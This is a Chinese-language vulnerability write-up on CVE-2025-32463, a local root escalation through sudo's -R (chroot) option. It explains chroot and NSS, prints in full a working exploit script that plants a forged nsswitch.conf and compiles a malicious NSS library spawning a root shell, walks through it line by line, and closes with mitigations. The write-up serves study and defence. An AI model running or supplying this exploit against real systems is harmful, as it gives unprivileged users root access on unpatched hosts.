目錄
- 背景知識
- chroot環境
- chroot 環境的具體表現
- Name Service Switch (NSS)機制
- 漏洞簡介
- 環境搭建
- 復現
- POC分析
- 防御方法
- 參考文章:
背景知識
chroot環境
(全稱“change root”)是一種Unix/Linux系統中的隔離技術,其核心作用是將進程的根目錄(/
)切換到系統中的一個子目錄,使該進程只能訪問這個子目錄內的文件和資源,無法突破到外部真實的文件系統。
chroot 環境的具體表現
-
根目錄被“替換”
進入chroot環境后,進程看到的/
(根目錄)實際上是原系統中的一個普通子目錄(例如/tmp/mychroot
)。例如:- 原系統中的
/tmp/mychroot/etc/passwd
,在 chroot 環境中會被視為/etc/passwd
; - 原系統中的
/usr/bin
等路徑,在chroot環境中不可見(除非手動復制到子目錄中)。
- 原系統中的
-
資源隔離
進程無法訪問chroot目錄之外的文件、設備或系統資源(如網絡配置、其他分區等),仿佛運行在一個“迷你獨立系統”中。例如:- 嘗試訪問
/proc
(系統進程信息)或/dev
(設備文件)時,只能看到chroot目錄內手動復制的部分內容。
- 嘗試訪問
-
權限限制
即使進程在chroot環境中擁有“root權限”,其操作范圍也被限制在子目錄內,無法影響外部真實系統(正常情況下)。
Name Service Switch (NSS)機制
NSS是Linux用于管理各種系統數據庫(用戶、組、主機等)的框架。關鍵點:
- 配置文件/etc/nsswitch.conf指定各數據庫的查詢順序和方式
- 標準格式:數據庫名: 服務1 [動作] 服務2…
- 例如passwd: files nis表示先查本地文件,再查Network Information Service
- 共享庫命名規則為libnss_<服務名>.so.2
漏洞簡介
CVE-2025-32463是Linux系統中Sudo工具的高危本地權限提升漏洞,主要影響1.9.14至1.9.17版本。該漏洞源于Sudo的“-R(–chroot)”選項在實現上存在缺陷,即便攻擊者是本地無特權用戶且未配置任何sudoers權限規則,也能利用這一漏洞:通過構造惡意目錄,并在其中偽造/etc/nsswitch.conf文件,誘導Sudo在處理chroot操作時加載惡意動態庫,最終以root權限執行任意代碼。目前,Sudo 1.9.17p1版本已修復此漏洞,修復方式為回退1.9.14版本中與chroot功能相關的修改,并棄用了“–chroot”功能,以此徹底消除該安全隱患。
-R選項的具體功能:
-
切換根目錄
使用-R
選項后,Sudo會將指定路徑作為新的根目錄(/
),執行的命令只能訪問該路徑下的文件系統層級。例如:sudo -R /path/to/chroot /bin/ls
此命令會在
/path/to/chroot
目錄為根的環境中執行ls
,顯示的是/path/to/chroot
內部的文件列表。 -
安全隔離
常用于需要限制程序訪問范圍的場景,如測試不受信任的代碼、運行特權服務(如Web服務器)時降低風險。 -
系統維護
在修復系統引導問題或文件系統損壞時,可以通過chroot環境訪問和修改受損系統。
環境搭建
直接用平時常用的kali即可,我安裝的是2025版本的kali,應該有該漏洞
版本符合漏洞影響范圍
復現
利用國外大佬的Poc復現即可:
https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
克隆poc到kali上面,進入poc目錄。根據poc描述檢查是否存在漏洞
返回了sudo: woot: No such file or directory,說明存在漏洞
如果是Windows克隆后復制到Linux上面,可能執行不了,這時候嘗試chmod +x給腳本可執行權限,還有就是記得把所有文件換行轉換為Linux格式的換行find /path/to/your/folder -type f -exec sed -i 's/\r$//' {} +
然后直接執行腳本就得了。
POC分析
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1if [ $# -eq 0 ]; then# If no command is provided, default to an interactive root shell.CMD="/bin/bash"
else# Otherwise, use the provided arguments as the command to execute.CMD="$@"
fi# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOFmkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
- 環境準備
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
創建臨時工作目錄,確保后續操作不會污染系統其他位置。
- 命令處理
if [ $# -eq 0 ]; thenCMD="/bin/bash"
elseCMD="$@"
fi
$#:表示傳遞給腳本的參數個數
如果用戶沒有提供參數,默認執行交互式bash shell;否則執行用戶指定的命令。
例如:./sudo-chwoot.sh whoami會執行whoami命令
- 生成惡意共享庫
__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
這是一段C代碼,利用GCC的constructor屬性,使指定函數在共享庫加載時自動執行。其功能是將當前進程的用戶ID和組ID都設置為0(即root),然后切換到根目錄并執行用戶指定的命令,-c表示執行字符串形式的命令。
- 配置NSS欺騙
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
創建一個偽造的chroot環境:
- mkdir -p:遞歸創建目錄結構
nsswitch.conf
是Name Service Switch配置文件,這里將密碼數據庫查詢重定向到我們的惡意庫,正常來說passwd: files systemd
會調用libnss_files.so.2和libnss_systemd.so.2這些庫,而這個異常的會調用libnss_/woot1337.so.2- 復制真實的
group
文件以避免命令執行時因缺少group信息而失敗
- 編譯惡意庫并執行攻擊
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot
- shared:生成共享庫
- fPIC:生成位置無關代碼(共享庫必需)
- Wl,-init,woot:通過鏈接器指定woot函數為初始化函數
- 輸出為libnss_/woot1337.so.2:符合NSS模塊命名規范libnss_*.so.2
sudo -R woot woot
是關鍵攻擊命令:-R導致Sudo加載我們控制的nsswitch.conf。第一個woot
是chroot目錄,第二個woot
是要執行的命令(實際會被忽略,因為惡意庫已接管)
- 攻擊原理
當sudo執行-R
選項時,它會切換到指定的chroot環境并嘗試解析用戶信息。由于我們修改了nsswitch.conf
,sudo會加載我們的惡意庫woot1337.so.2
,觸發構造函數,將當前進程權限提升為root,然后執行用戶命令。
防御方法
-
立即更新Sudo版本:將Sudo升級至1.9.17p1及以上版本,該版本已通過回退存在問題的代碼并棄用
--chroot
功能修復漏洞,可通過系統包管理器(如apt
)執行更新:sudo apt update && sudo apt upgrade sudo
。 -
臨時禁用
--chroot
功能:若暫時無法升級,可編輯Sudo配置文件(/etc/sudoers
,需用visudo
命令),在相關規則中限制-R
/--chroot
選項的使用,或直接移除包含該選項的配置,阻斷漏洞利用路徑。 -
限制文件權限:嚴格控制系統中
/etc/nsswitch.conf
及相關目錄的讀寫權限,防止非授權用戶篡改或創建惡意文件,減少攻擊者構造利用環境的可能性。 -
監控異常操作:通過日志審計工具(如
auditd
)監控涉及sudo
命令、chroot
操作及系統庫文件加載的異常行為,及時發現潛在攻擊嘗試。
參考文章:
https://mp.weixin.qq.com/s/mZdIwl9h8tN6J5FNDUl2IQ
https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot